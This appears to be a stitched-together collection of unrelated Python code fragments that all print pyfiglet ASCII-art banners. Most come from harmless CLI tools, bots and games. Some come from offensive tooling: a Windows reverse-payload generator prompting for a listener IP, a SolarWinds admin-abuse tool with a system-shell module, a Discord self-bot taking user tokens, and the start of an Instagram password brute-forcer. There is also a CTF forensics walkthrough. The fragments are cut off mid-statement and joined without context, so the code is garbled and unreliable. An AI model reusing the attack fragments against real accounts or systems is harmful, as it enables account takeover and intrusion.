def user_greeting(pamh, user_info):
from pyfiglet import Figlet
f = Figlet(font='letter')
banner = f.renderText('Hi %s!' % user_info['first_name'])
pamh.conversation(pamh.Message(pamh.PAM_TEXT_INFO, str("""
-------------------------------------------------------------------
%s
(c) 2015-04-01 Jens Erat <*****@*****.**>, MIT license
Code on GitHub: https://github.com/JensErat/ssh-facebookauth
-------------------------------------------------------------------
""" % banner)))
def printTitle():
# 腳本頭部
script_name = "NGINX vhost tools"
f = Figlet()
print f.renderText(script_name)
print "Author: JackLam([email protected])"
print ("-"*80)[:80]
def lunch_text():
_version = pkg_resources.require("lunch")[0].version
f = Figlet(font='smkeyboard')
print f.renderText('LUNCH')
print 'Lunch doesn\'t really do much of anything.'
print 'Version ' + _version
print 'Run lunch --help for a lacking list of arguments.'
def hack(self):
os.system("cls")
h = Figlet(font="cybermedium")
print h.renderText("Hacker Routine")
target = raw_input("Select a target: ").lower()
routine = Routine(target)
time.sleep(0.7)
routine.main()
print ""
def run(self):
msg = 'Initializing framework v' + str(__version__)
print '[+]', msg
self.log.info(msg)
f = Figlet(font='doom')
print f.renderText('Framework')
self.log.debug('System ' + sys.platform)
self.log.debug('Version ' + sys.version)
if not os.path.exists(self.output):
os.makedirs(self.output)
self._list_files()
self._run_plugins()
def crypto_1():
f = Figlet(font='slant')
print(f.renderText("Standard Galactic Alphabet"))
wrap_input("""Crypto 1 - Standard Galactic Alphabet""")
wrap_input("""NOTE: you may have to adjust the HOST and PORT in the script
that is about to be run if you are not using the default.""")
wrap_shell_command(["./crypto_01.py", "cat *"])
def set_text_font(text, font):
try:
figlet = Figlet(font=font)
except:
print('weefig: no such font: %s' % (font))
return ""
return figlet.renderText(text)
def logo(version):
"""Print gprMax logo, version, and licencing/copyright information.
Args:
version (str): Version number.
"""
licenseinfo = """
Copyright (C) 2015: The University of Edinburgh
Authors: Craig Warren and Antonis Giannopoulos
gprMax is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
gprMax is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with gprMax. If not, see <http://www.gnu.org/licenses/>."""
width = 65
url = 'www.gprmax.com'
print('\n{} {} {}'.format('*'*round((width - len(url))/2), url, '*'*round((width - len(url))/2)))
gprMaxlogo = Figlet(font='standard', width=width, justify='center')
print('{}'.format(gprMaxlogo.renderText('gprMax')))
print('{} v{} {}'.format('*'*round((width - len(version))/2), (version), '*'*round((width - len(version))/2)))
print(licenseinfo)
print('\n{}\n'.format('*'*(width+3)))
def inputAndTransform():
dirPath = os.curdir
write = input("What do you want to write? Please input here:\n")
f = Figlet(font='ogre') # 斜体 不slant是默认的字体 是不倾斜的
textWrite = "```\n"+f.renderText(write)+"\n```"
with open("codepic.txt", "w") as f:
f.writelines(textWrite)
def header():
subprocess.call(['clear'])
f = Figlet(font='slant')
print('')
print(colored(f.renderText(COMMAND_KEYWORD), 'red', attrs=['bold']))
print('')
print('')
def on_cmd(self, serv, ev, command, args, helper):
u'''%(namespace)s <text> : écrit le texte donné en figlet. Ne gère que
les caractères ASCII.'''
f = Figlet()
args.insert(0, command)
message = ' '.join(args)
figlet_msg = {}
figlet_width = 0
for c in message:
figlet_c = f.renderText(c).split('\n')
added_width = max(len(fc) for fc in figlet_c)
# adding this character will make a too long line
if figlet_width + added_width > self.width:
# flush figlet message
self.privfigletmsg(serv, helper['target'], figlet_msg)
figlet_msg = {}
figlet_width = 0
# adding the character
l = 0
for fc in figlet_c:
figlet_msg[l] = figlet_msg.get(l, '') + fc
l += 1
figlet_width += added_width
# flush figlet message
self.privfigletmsg(serv, helper['target'], figlet_msg)
def figlet_header(text, font='colossal', smushMode=None):
"""
Prints text with ascii print driver.
See available fonts with Figlet().getFonts()
or pyfiglet.FigletFont.getFonts()
Easy-to-read fonts include:
* Doh (very big)
* Banner3 (Exclusively using '#')
* Block (rather subtil)
* Colossal (Easy to read, but set smushMode to 64 or lower for headers)
* Georgia11 (Very elegant)
* Roman
* Univers
"""
if Figlet is None:
logger.warning("pyfiglet module not available.")
return
## TODO: Add labfluence settings option to change font, etc.
f = Figlet(font=font)
if smushMode is not None:
# pyfiglet default smushMode is calculated by pyfiglet.FigletFont.loadFont()
# For some, e.g. colossal, the resulting smushMode of 128 smushes the characters a bit too much.
# I've made a fork of pyfiglet where you can adjust smushMode directly
# when instantiating a Figlet via argument fontkwargs.
f.Font.smushMode = smushMode
return f.renderText(text)
def crypto_2():
f = Figlet(font='slant')
print(f.renderText("Compression Session"))
wrap_input("""Crypto 2 - Compression Session""")
wrap_input("""NOTE: you may have to adjust the HOST and PORT in the script
that is about to be run if you are not using the default.""")
wrap_shell_command(["./crypto_02.py"])
def ascii_title():
with term.location(0, 0):
title_text = "Last Layer Algorithm Trainer"
f = Figlet(font="small", width=term.width)
print(term.white(f.renderText(title_text)))
with term.location(0, 5):
print("─" * term.width)
print(term.move_y(6))
class ConsoleApp(CommandLineMixins):
def __init__(self):
self.ascii = Figlet(font='standard')
self.modules = self.__get_module_dict()
def start(self):
while True:
print(self.ascii.renderText('KTANE SOLVER'))
choice = self.get_choice_or_quit(list(self.modules.keys()))
if choice is None:
break
self.cls()
print(self.ascii.renderText(choice))
self.modules[choice].run()
self.cls()
def __get_module_dict(self):
return { titleize(klass.__name__): klass() for klass in Module.__subclasses__() }
def textApi(text=None):
user_requested_font = request.args.get('font')
font = getFont(user_requested_font)
text = text or "Send us text!"
fig = Figlet(font=font)
ansi = fig.renderText(text)
return format_request(ansi)
def time_now():
'''
Return current time in Figlet format.
'''
time_heading = '===============Time===============\n'
now = datetime.datetime.now().strftime("%H:%M")
f = Figlet(font='doom')
time_details = f.renderText(now).rstrip() + '\n'
return (time_heading + time_details).decode('utf-8')
def startupMessage(self):
'''
Spiffy looking startup banner.'
'''
figlet = Figlet(font='slant')
for line in figlet.renderText('sevcol IO\ngateway').splitlines():
self.log.info(line)
self.log.info('Version %s' % VERSION)
def banner(phenny, input):
if len(input.group(2)) > 70:
phenny.reply("pls... 2long4me")
return
bannedfonts = [
"acrobatic",
"calgphy",
"calgphy2",
"doh",
"poison",
"univers",
"term",
"hollywood",
"dotmatrix"
]
inputArray = input.group(2).split(', ')
if inputArray[0][0] == "":
text = inputArray[0][2:]
else:
text = inputArray[0]
if len(inputArray) > 1:
if inputArray[1] in bannedfonts:
phenny.say("ayy m80 %s is a banned font k?" % inputArray[1])
return
try:
f = Figlet(font=inputArray[1])
shit = f.renderText(text).split('\n')
except:
phenny.say("there's no font called %s" % inputArray[1])
return
else:
f = Figlet(font="twopoint")
shit = f.renderText(text).split('\n')
for i in xrange(0,len(shit)):
if inputArray[0][0] == "":
phenny.say("" + inputArray[0][1] + shit[i])
else:
phenny.say(shit[i])
class DecoratedCostsScreen(CostsScreen):
def __init__(self, integrator, font='big'):
super(CostsScreen, self).__init__()
self.integrator = integrator
self.fighler = Figlet(font=font)
def show(self):
data = super(DecoratedCostsScreen, self).show()
return self.fighler.renderText(data)
def main():
parser = OptionParser(version=__version__)
parser.add_option('-s', '--show', action='store_true', default=False,
help='pause at each failure and compare output '
'(default: %default)')
opts, args = parser.parse_args()
f = Figlet()
ok = 0
fail = 0
failed = []
skip = ['runic'] # known bug..
for font in f.getFonts():
if font in skip: continue
f.setFont(font=font)
outputPyfiglet = f.renderText('foo')
fontpath = os.path.join('pyfiglet', 'fonts', font)
if os.path.isfile(fontpath + '.flf'):
cmd = ('figlet', '-d', 'pyfiglet/fonts', '-f', font, 'foo')
elif os.path.isfile(fontpath + '.tlf'):
cmd = ('toilet', '-d', 'pyfiglet/fonts', '-f', font, 'foo')
else:
raise Exception('Missing font file: '+fontpath)
p = Popen(cmd, bufsize=1,stdout=PIPE)
outputFiglet = p.communicate()[0].decode('ascii', 'replace')
if outputPyfiglet == outputFiglet:
print('[OK] %s' % font)
ok += 1
continue
print('[FAIL] %s' % font)
fail += 1
failed.append(font)
if opts.show is True:
print('[PYTHON] *** %s\n\n' % font)
dump(outputPyfiglet)
print('[FIGLET] *** %s\n\n' % font)
dump(outputFiglet)
raw_input()
print('OK = %d, FAIL = %d' % (ok, fail))
if len(failed) > 0:
print('FAILED = %s' % repr(failed))
return 0
def get_figlet_text(text):
""" Returns a big "ascii art"-like text spelling the words in text. """
font = 'colossal' # This is case *sensitive* (on *nix and if pyfiglet is zipped).
try:
printer = Figlet(font)
except NameError:
print("ERROR, could not import pyfiglet, big text not available.")
print("sys.path=", sys.path)
return text
printer.Font.smushMode = 64
return printer.renderText(text)
def greeting(self):
try:
data = self.driver.find_element_by_xpath("//*[contains(text(), 'Logout')]")
f = Figlet(font="slant")
self.name = re.search("\((.*?)\)", data.text).group(
1
) # Extracts username from 'Logout (username)' fetched from the page.
print(f.renderText(self.name))
self.name = self.name.lower()
except NoSuchElementException:
pass
def print_rolled(dice):
holds = [' {} ']*len(dice)
for d in range(len(dice)):
if is_held(dice[d]):
holds[d] = holds[d].format('held')
f = Figlet(font='future_8')
dies = f.renderText(' '.join(map(str,dice)))
labels = (' ({}) ' + ' ')*len(dice)
hint = get_choice(dice)
score = score_dice(hint)
clear()
print rolled.format(labels.format(*range(1,len(dice)+1)),dies,holds,hint,score)
def pyfiglet_banner(request, pyfiglet_banner_variable="pyfiglet"):
if request.method == 'POST':
form = PyfigletForm(request.POST)
if form.is_valid():
f = Figlet()
pyfiglet_field = form.cleaned_data['pyfiglet_field']
pyfiglet_banner_variable = pyfiglet_field
# here pyfiglet_input is called from pyfiglet_banner/views.py
a_banner = f.renderText(pyfiglet_banner_variable)
context = {"a_banner": a_banner, "form": form}
return HttpResponseRedirect(pyfiglet_banner_variable, context)
else:
form = PyfigletForm()
f = Figlet()
a_banner = f.renderText(pyfiglet_banner_variable)
context = {"a_banner": a_banner, "form": form}
return render(request, 'pyfiglet_banner/pyfiglet_banner.html', context)
else:
form = PyfigletForm()
f = Figlet()
a_banner = f.renderText(pyfiglet_banner_variable)
context = {"a_banner": a_banner, "form": form}
return render(request, 'pyfiglet_banner/pyfiglet_banner.html', context)
def network_2():
f = Figlet(font='slant')
shutil.copyfile("../data/c18493dcc4281aef5d3c4b24d674d8e3-net02.pcap",
"c18493dcc4281aef5d3c4b24d674d8e3-net02.pcap")
shutil.copyfile("../data/diskimage.gz", "diskimage.gz")
print(f.renderText("Notwork Forensics"))
wrap_input("""Network Forensics 2 - Notwork Forensics""")
wrap_input("""First open the .pcap file in Wireshark and extract
diskimage.gz. I'll wait here.""")
wrap_input("""Ready? OK. First gunzip the file.""")
wrap_shell_command(["gunzip", "diskimage.gz"])
wrap_input("""Now use mmls to look at the partition table.""")
wrap_shell_command(["mmls", "diskimage"])
wrap_input("""So we've got an NTFS partition at sector 128. Try to see what
we can recover from this.""")
wrap_shell_command(["tsk_recover", "-e", "-o 128", "diskimage", "."])
wrap_shell_command(["ls", "-lha"])
wrap_input("""You can learn a lot from what people throw away.""")
wrap_shell_command(["ls", "-Ra", "$RECYCLE.BIN"])
wrap_input("""Sure enough:""")
wrap_shell_command(["cat", "$RECYCLE.BIN/S-1-5-21-2229788878-2747424913-2242611199-1000/$ISH2ZGB.txt"])
print()
wrap_input("""That file looks interesting, but it's not in the files
directory:""")
wrap_shell_command(["ls", "-a", "./files/My Secret Passwords.txt"])
wrap_input("""There are a bunch of interesting files called secret* though:""")
wrap_shell_command(["ls ./files/secret*"], shell=True)
wrap_input("""secret.db is junk and secret.png is a red herring:""")
wrap_shell_command(["eog", "files/secret.png"])
wrap_input("""secret.7z is encrypted:""")
wrap_shell_command(["7z", "x", "files/secret.7z"])
wrap_input("""There hints about NTFS storing small and large files
differently in the root directory.""")
wrap_shell_command(["grep -C 5 \"small value\" NTFS\ -\ SleuthKitWiki.htm"],
shell=True)
wrap_input("""Apparently small files are stored directly in the MFT. We
know the partition offset (128) from before, so use icat to extract it:""")
wrap_shell_command(["icat -o 128 diskimage 0 > mft.dat"], shell=True)
wrap_input("""Now look for interesting strings:""")
wrap_shell_command(["strings mft.dat --bytes 6 | tail"], shell=True)
wrap_input("""That looks a lot like a list of passwords. Try the one
labelled \"7z file\":""")
wrap_shell_command(["7z x -y ./files/secret.7z -p'nRkmrtp2(\"u8~/ph'"],
shell=True)
wrap_shell_command(["cat", "secret.txt"])
print()
wrap_input("""And we're done!""")
def run(self, *args):
"""!ascii: Usage: !ascii (_FontName_) Your Text / !ascii ?Fonts
Posts custom ascii text art into chat.
?Fonts will send you a list of fonts via pm.
Use custom fonts like this: !ascii _starwars_ Woooo Ascii Art!
___"""
font = 'slant'
try:
chatid = int(args[1][0])
except:
print "FAILED"
return 0
try:
if args[0].upper() == "?FONTS":
f = Figlet(font)
fontlist = "Available fonts:\n"
fontlist += formatList(f.getFonts())
self.parent.librewired.sendPrivateMsg(int(args[1][1]), fontlist)
return 0
except:
return "Usage: !ascii (%FontName%) Text / !ascii ?Fonts"
param = regmatch(args[0], '_')
if param:
font = param
text = regexclude(args[0], '_')
if not text:
return 0
else:
text = args[0]
if not len(text):
return "Usage: !ascii (%FontName%) Text / !ascii ?Fonts"
asciitext = 0
try:
f = Figlet(font)
asciitext = f.renderText(text)
except FontNotFound:
return "Unknown font: " + str(font)
if asciitext:
lines = asciitext.split('\n')
sswired = chr(31).join(lines)
for aline in lines:
if len(aline.strip()):
self.parent.librewired.sendChat(chatid, chr(14) + aline)
self.parent.librewired.sendChat(chatid, chr(129) + sswired)
return 0
def stopwatch(stdscr, font=DEFAULT_FONT, quit_after=None, **kwargs):
curses_setup()
f = Figlet(font=font)
sync_start = datetime.now()
seconds_elapsed = 0
while quit_after is None or seconds_elapsed < int(quit_after):
stdscr.erase()
draw_text(
stdscr,
f.renderText(format_seconds(seconds_elapsed)),
)
sleep_target = sync_start + timedelta(seconds=seconds_elapsed + 1)
now = datetime.now()
if sleep_target > now:
sleep((sleep_target - now).total_seconds())
seconds_elapsed = int((datetime.now() - sync_start).total_seconds())
def main():
tool = FBTools()
f = Figlet(font="slant")
print(f.renderText("FBTools\n------"))
if tool.loginChecker() == True:
print("Attempting Login...")
tool.cookieInjector()
else:
tool.login()
if tool.loginChecker() == True:
tool.greeting()
tool.commandInput()
else:
sys.exit("Can't proceed.")
def text(self, text, x, y, colour):
sys.stderr.write("LCD:text %s %sx%s %s\n" % (text, x, y, colour))
font = 'clr8x8'
figlet = Figlet(font=font, width=self._x)
txt = figlet.renderText(text)
dx = 0
dy = 0
for item in txt:
if item == ' ':
color = int(not bool(colour))
elif item == '#':
color = colour
elif item == '\n':
dy += 1
dx = 0
continue
self.pixel(dx + x, dy + y, color)
dx += 1
class Print(object):
def __init__(self):
self.colors = {
'black': Fore.BLACK,
'red': Fore.RED,
'green': Fore.GREEN,
'yellow': Fore.YELLOW,
'blue': Fore.BLUE,
'magenta': Fore.MAGENTA,
'cyan': Fore.CYAN,
'white': Fore.WHITE,
}
self.reset = Fore.RESET
self.bg_colors = {
'black': Back.BLACK,
'red': Back.RED,
'green': Back.GREEN,
'yellow': Back.YELLOW,
'blue': Back.BLUE,
'magenta': Back.MAGENTA,
'cyan': Back.CYAN,
'white': Back.WHITE,
}
self.limit = 10
self.precision = 10
self.mode = 'dec'
self.display = 'horizontal'
self.fig = Figlet()
self.theme = 1
def toggle_theme(self):
if self.theme == 0:
self.theme = 1
else:
self.theme = 0
def toggle_display(self):
if self.display == 'horizontal':
self.display = 'vertical'
else:
self.display = 'horizontal'
def welcome(self):
if self.theme:
print(self.colors['yellow'])
print(self.fig.renderText('RPN CALCULATOR'))
print('Author: Duy Nguyen')
print('Email: [email protected]\n\n')
if self.theme:
print('Type' + self.colors['cyan'] + ' help ' +
self.colors['yellow'] + 'for a list of commands ..')
else:
print('Type help for a list of commands ..')
def help(self):
messages = {
'Arithmetic Operators': [
RpnTokens.ADD,
RpnTokens.SUBTRACT,
RpnTokens.MULTIPLY,
RpnTokens.DIVIDE,
RpnTokens.CLEAR_ALL,
RpnTokens.CLEAR_STACK,
RpnTokens.CLEAR_VAR,
RpnTokens.MODULUS,
RpnTokens.INCREMENT,
RpnTokens.DECREMENT,
],
'Bitwise Operators': [
RpnTokens.BIT_AND,
RpnTokens.BIT_OR,
RpnTokens.BIT_XOR,
RpnTokens.BIT_NOT,
RpnTokens.BIT_SHIFT_LEFT,
RpnTokens.BIT_SHIFT_RIGHT,
],
'Boolean Operators': [
RpnTokens.BOOLEAN_NOT,
RpnTokens.BOOLEAN_AND,
RpnTokens.BOOLEAN_OR,
RpnTokens.BOOLEAN_XOR,
],
'Comparison Operators': [
RpnTokens.NOT_EQUAL,
RpnTokens.LESS_THAN,
RpnTokens.LESS_THAN_OR_EQUAL,
RpnTokens.EQUAL,
RpnTokens.GREATER_THAN,
RpnTokens.GREATER_THAN_OR_EQUAL,
],
'Trigonometric Functions': [
RpnTokens.ACOS,
RpnTokens.ASIN,
RpnTokens.ATAN,
RpnTokens.COS,
RpnTokens.COSH,
RpnTokens.SIN,
RpnTokens.SINH,
RpnTokens.TANH,
],
'Numeric Utilities': [
RpnTokens.CEIL,
RpnTokens.FLOOR,
RpnTokens.ROUND,
RpnTokens.IP,
RpnTokens.FP,
RpnTokens.SIGN,
RpnTokens.ABS,
RpnTokens.MAX,
RpnTokens.MIN,
],
'Display Modes': [
RpnTokens.HEX,
RpnTokens.DEC,
RpnTokens.BIN,
RpnTokens.OCT,
],
'Constants': [
RpnTokens.E,
RpnTokens.PI,
RpnTokens.RAND,
],
'Mathematics Functions': [
RpnTokens.EXP,
RpnTokens.FACT,
RpnTokens.SQRT,
RpnTokens.LN,
RpnTokens.LOG,
RpnTokens.POW,
],
'Networking': [
RpnTokens.HNL,
RpnTokens.HNS,
RpnTokens.NHL,
RpnTokens.NHS,
],
'Stack Manipulation': [
RpnTokens.PICK,
RpnTokens.REPEAT,
RpnTokens.DEPTH,
RpnTokens.DROP,
RpnTokens.DROPN,
RpnTokens.DUP,
RpnTokens.DUPN,
RpnTokens.ROLL,
RpnTokens.ROLLD,
RpnTokens.STACK,
RpnTokens.SWAP,
],
'Macros and Variables': [
RpnTokens.MACRO,
RpnTokens.X_EQUAL,
],
'Others': [
RpnTokens.HELP, RpnTokens.EXIT, RpnTokens.LIMIT,
RpnTokens.PREC, RpnTokens.THEME
],
}
index = 1
for cat in messages:
df = pd.DataFrame(messages[cat],
columns=['Command', 'Description'])
if self.theme:
print(self.colors['yellow'])
print('{}. {}'.format(index, cat.upper()))
print(
tabulate(df,
showindex=False,
tablefmt='rst',
headers=['Command', 'Description']))
index += 1
def change_mode(self, mode, stack, variables):
if mode != self.mode:
if mode == 'hex' or mode == 'bin' or mode == 'oct':
while True:
if self.theme:
print(
self.colors['yellow'],
'This mode can only work with integers, '
'decimal numbers will be rounded, are you sure? (Yes|No): ',
end='')
else:
print(
'This mode can only work with integers, '
'decimal numbers will be rounded, are you sure? (Yes|No): ',
end='')
r = str(input()).lower()
if r == 'y' or r == 'yes':
self.mode = mode
for i in range(len(stack)):
stack[i] = int(round(stack[i]))
for i in range(len(variables)):
variables[i] = int(round(variables[i]))
return
elif r == 'n' or r == 'no':
return
else:
self.mode = mode
def wait(self, stack, variables):
f = '{:.' + str(self.precision) + 'g}'
var_str = []
if len(variables) > 0:
for v in variables:
if self.mode == 'hex':
s = int(round(variables[v]))
w = v + ' = ' + hex(s).rstrip("L")
var_str.append(w)
elif self.mode == 'oct':
s = int(round(variables[v]))
w = v + ' = ' + oct(s).rstrip("L")
var_str.append(w)
elif self.mode == 'bin':
s = int(round(variables[v]))
w = v + ' = ' + bin(s).rstrip("L")
var_str.append(w)
else:
if isinstance(variables[v], float):
var_str.append(v + ' = ' + f.format(variables[v]))
else:
var_str.append(v + ' = ' + str(variables[v]))
var_str = '\n'.join(var_str)
if len(var_str) == 0:
var_str = ''
else:
var_str = '\n' + var_str + '\n'
stack_str = []
for s in stack:
if self.mode == 'hex':
s = int(round(s))
stack_str.append(hex(s).rstrip("L"))
elif self.mode == 'oct':
s = int(round(s))
stack_str.append(oct(s).rstrip("L"))
elif self.mode == 'bin':
s = int(round(s))
stack_str.append(bin(s).rstrip("L"))
else:
if isinstance(s, float):
stack_str.append(f.format(s))
else:
stack_str.append(str(s))
if self.display == 'vertical':
for i in range(len(stack_str)):
stack_str[i] = stack_str[i] + '\n'
if self.limit >= len(stack) > 0:
if self.display == 'vertical':
str_ = ' '.join(stack_str)
str_ = '\n ' + str_
else:
str_ = ' '.join(stack_str)
elif len(stack) == 0:
str_ = ''
else:
if self.display == 'vertical':
str_ = '..\n' + ' '.join(stack_str[-self.limit:])
else:
str_ = '.. ' + ' '.join(stack_str[-self.limit:])
if self.theme:
if var_str != '':
print(self.colors['cyan'] + '[',
self.colors['red'] + str_,
self.colors['cyan'] + ']',
self.colors['red'] + var_str,
self.colors['yellow'] + '>',
self.reset,
end='')
else:
print(self.colors['cyan'] + '[',
self.colors['red'] + str_,
self.colors['cyan'] + ']',
self.colors['yellow'] + '>',
self.reset,
end='')
else:
if var_str != '':
print('[', str_, ']', var_str, '> ', end='')
else:
print('[', str_, ']', '> ', end='')
def error(self, error):
errors = error.split(' ')
if self.theme:
print(self.colors['red'] + '(*) ' + errors[0] + self.reset,
self.colors['yellow'] + ' '.join(errors[1:]))
else:
print('(*) ' + errors[0] + self.reset, ' '.join(errors[1:]))
def bye(self):
if self.theme:
print(self.colors['green'], 'Bye')
else:
print('Bye')
def pretty_text(text: str, font: str, color: str):
f = Figlet(font=font)
print(colored(f.renderText(text), color))
import sys
import getpass
import subprocess
from pyfiglet import Figlet
from termcolor import colored
# Will create a directory "Payload" adjacent to the script
dir1 = "Payload/"
if not os.path.exists(dir1):
os.makedirs(dir1)
output_file_path = os.getcwd() + "/" + dir1
font1 = Figlet(font='digital')
print font1.renderText("Payload generation for Windows")
# Provide Local host IP and Local Port (Attacker's IP & Port)
sys_password = getpass.getpass()
ip_adress = raw_input("Enter Listener IP Address: ")
port_no = raw_input("Enter Listener Port number: ")
file_name = raw_input("Enter the filename: ")
# Provide the desired extension which can used for the attack
print colored(
"Payload Extensions:\nasp, aspx, aspx-exe, dll, elf, elf-so, exe, \nexe-only, exe-service, exe-small, hta-psh, \nloop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, \npsh-reflection, psh-cmd, vba, vba-exe, vba-psh, vbs, war",
'yellow')
payload_format = raw_input("Enter Payload Format: ")
from web3.auto import Web3
from web3 import IPCProvider
from web3.middleware import geth_poa_middleware
from pyfiglet import Figlet
### CONFIG #####################################################################
ipcMiddleware = {
"MainNet": "/home/quadrans/.quadrans/geth.ipc",
"TestNet": "/home/quadrans/.quadrans/testnet/geth.ipc"
}
custom_fig = Figlet(font='standard')
### MAIN #######################################################################
print(custom_fig.renderText('Quadrans Node'))
try:
for net, ipc in ipcMiddleware.items():
web3 = Web3(IPCProvider(ipc))
if web3.isConnected():
print("Provider:\t\tIPC (" + net + ": " + ipc + ")")
break
if not web3.isConnected():
sys.exit()
except SystemExit:
print("Could not connect to node via providers")
sys.exit()
except:
print("Critical error connectiong to node")
sys.exit()
primaryKeyCol == result[primaryKeyColName])
update_rec = update_rec.values(data)
session.execute(update_rec)
session.commit()
session.close()
sys.stdout.write("%d%% - Finished.\n" % (count * 100 / table_count))
sys.stdout.flush()
if __name__ == '__main__':
try:
f = Figlet(font='cybermedium')
print(f.renderText('Zawgyi To Unicode Database Converter Tool.\n'))
print('Please select database type: \n')
print('[1]: Postgresql\n')
print('[2]: Mysql\n')
def choose_db():
url_preix = raw_input("Select Database: ")
try:
if int(url_preix) not in [1, 2]:
return choose_db()
return int(url_preix)
except Exception as ex:
return choose_db()
db_type = choose_db()
db_name = raw_input("Database name: ")
else:
print(f"Empty set ({query_time})")
if __name__ == '__main__':
migrator = MySQLtoMongo(mysql_id="ID",
mysql_pw="PW",
mysql_db_name="db_name",
mongo_id="ID",
mongo_pw="PW",
mongo_db_name="db_name")
f = Figlet(font="slant")
print(f.renderText("Hwan Ii"))
print(f.renderText("Young Ki"))
print("Welcome to Hwan Young Il Ki's RDB to MongoDB Migrator :)")
while True:
print(
"\n[i] Init MYSQL to MongoDB\t[1 ~ 5] Query 1 ~ 5 [c] Change Print Mode\t[Q] Quit\nPress to continue..."
)
user_input = str(__import__('sys').stdin.readline())[:1]
if user_input == 'q':
print("Bye!")
break
elif user_input == '1':
is_flag=True,
help="Disable santiy checks, very risky")
@click.option('-lp',
'--librarypath',
option='module',
value=["solarwinds-wmibomb"],
cls=OptionRequiredIf,
help="Placeholder")
@click.option('-sp',
'--scriptpath',
option='module',
value=["solarwinds-wmibomb"],
cls=OptionRequiredIf,
help="Placeholder")
def main(verbose, module, username, password, target, command, disablechecks,
librarypath, scriptpath):
click.echo()
if module == "solarwinds-enum":
sw_enumerate(target, username, password, verbose)
if module == "solarwinds-alertremove":
sw_system_cleanup(target, username, password, verbose)
if module == "solarwinds-listalerts":
sw_list_alerts(target, username, password, verbose)
elif module == "solarwinds-syscmd":
sw_system_shell(target, username, password, command, verbose)
if __name__ == "__main__":
fig = Figlet(font='standard')
print(fig.renderText('BADministration'))
main()
from colorama import Fore, init
from selenium import webdriver
from datetime import datetime
from itertools import cycle
os.system('mode 80, 40')
init(convert=True)
clear = lambda: os.system('clear')
clear()
bot = commands.Bot(command_prefix='-', self_bot=True)
bot.remove_command("help")
custom_fig = Figlet(font='big')
print(custom_fig.renderText('ICY'))
print('\n')
token = input("Token : ")
head = {'Authorization': str(token)}
src = requests.get('https://discordapp.com/api/v6/users/@me', headers=head)
if src.status_code == 200:
print('❤ Valid Token ❤ ')
input("Press any key to continue...")
else:
print(f'[{Fore.RED}-{Fore.RED}] ✣ Invalid token ✣ ')
input("Press any key to exit...")
exit(0)
smtp_server_port = int(config_roamon_alert["smtp_server_port"])
sender_email_address = config_roamon_alert["sender_email_address"]
# 監視間隔
watch_interval = int(config_roamon_alert["watch_interval"])
# DBの設定
db_host = config_roamon_alert["db_host"]
db_port = int(config_roamon_alert["db_port"])
db_name = config_roamon_alert["db_name"]
db_user_name = config_roamon_alert["db_user_name"]
db_password = config_roamon_alert["db_password"]
# ロゴの描画
f = Figlet(font='slant')
print(f.renderText('roamon-alert'))
mailer = roamon_alert_mail.MailSender(smtp_server_address, smtp_server_port, sender_email_address)
db_controller = roamon_alert_db.RoamonAlertDb(db_host, db_port, db_name, db_user_name, db_password)
watcher = roamon_alert_watcher.RoamonAlertWatcher(dir_path_data, file_path_vrps, file_path_rib,
mailer, db_controller)
# 連絡先追加の処理を記述するコールバック関数 (以下同じ)
def command_add(args):
watcher.add_contact_info_to_list(args.type, args.dest, args.prefixes, args.asns)
def command_delete(args):
watcher.delete_contact_info_from_list(args.type, args.dest, args.prefixes, args.asns)
import json
import random
import time
from argparse import ArgumentParser
from datetime import datetime
from pyfiglet import Figlet
from termcolor import colored
from constants import CONGRATS, FIGLET_FONT
from helpers import clear_window
FIGLET = Figlet(justify='center', font=FIGLET_FONT)
ACCEPT_CHANGES = FIGLET.renderText('Got it')
clear_window()
parser = ArgumentParser(description='Tool for learning English.')
parser.add_argument('--new',
dest='new_pair',
help='Add new pair of words.',
nargs=2,
metavar=('original', 'translation'),
type=str)
parser.add_argument('--train',
dest='train',
help='Start training (using cards).',
choices=(
'all',
'new',
))
def _print_logo(self):
from pyfiglet import Figlet
f = Figlet(font='big')
logger.info("\n%s" % f.renderText("%s %s" % (self.static_config.get("name"), self.static_config.get("version"))))
def main(ctx):
f = Figlet(font="doom")
click.echo(
click.style(f.renderText("BeatBrain"), fg="bright_blue", bold=True))
if ctx.invoked_subcommand is None:
click.echo(ctx.get_help())
def print_header():
"""Why not.
"""
f = Figlet(font='big')
print f.renderText('HackMiner')
print "Version 0.2.1"
def start(self, path):
try:
self.get_apk_info(path)
self.source_analysis(path)
self.saveResult(path)
except:
error_result = open("ERROR.txt", 'a')
error_result.write(path + " 解析失败\n")
print path + " 解析失败"
error_result.close()
if __name__ == "__main__":
f = Figlet(font='colossal')
print f.renderText('A N D Y')
choice = 0
path_list = []
obj = GetAPKInfo()
while True:
try:
'''Do you want to examine:
[1] APK
[2] Source'''
print str('Do you want to examine:\n[1] APK\n[2] APKS\n[3] QUIT\n'
).decode('string-escape').format()
choice = str(raw_input('Enter your choice:')).strip()
if int(choice) in (1, 2):
break
if int(choice) == 3:
from colorama import Fore
from pyfiglet import Figlet
wik = Figlet()
print(Fore.RED + wik.renderText("WikiSaleh"))
number1 = input(Fore.BLUE + "Please Enter Number 1 : ")
number2 = input(Fore.GREEN + "Please Enter Number 2 : ")
number1 = int(number1)
number2 = int(number2)
Jam = ("{} + {} = {}".format(number1, number2, number1 + number2))
Tafrigh = ("{} - {} = {}".format(number1, number2, number1 - number2))
Zarb = ("{} × {} = {}".format(number1, number2, number1 * number2))
Taghsim = ("{} ÷ {} = {}".format(number1, number2, number1 / number2))
operation = input(Fore.WHITE + "1.Jam " + Fore.RED + " 2.Tafrigh" + Fore.BLUE +
" 3.Zarb" + Fore.YELLOW + " 4.Taghsim : ")
if operation == "1": print(Jam)
elif operation == "2": print(Tafrigh)
elif operation == "3": print(Zarb)
elif operation == "4": print(Taghsim)
else:
print(Fore.RED + "Please Enter Valid Operation:1,2,3,4")
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from colorama import Fore
from pyfiglet import Figlet
import os
import pyautogui
import time as t
fig = Figlet(font="block")
print(Fore.RED + fig.renderText("IGBrute"))
b = webdriver.Firefox(executable_path="//path/to/gecko/driver")
victim = input(Fore.YELLOW + "[*] Target username: "******"[*] Wordlist: ")
passlist = open(passlist, "r")
timeout = int(
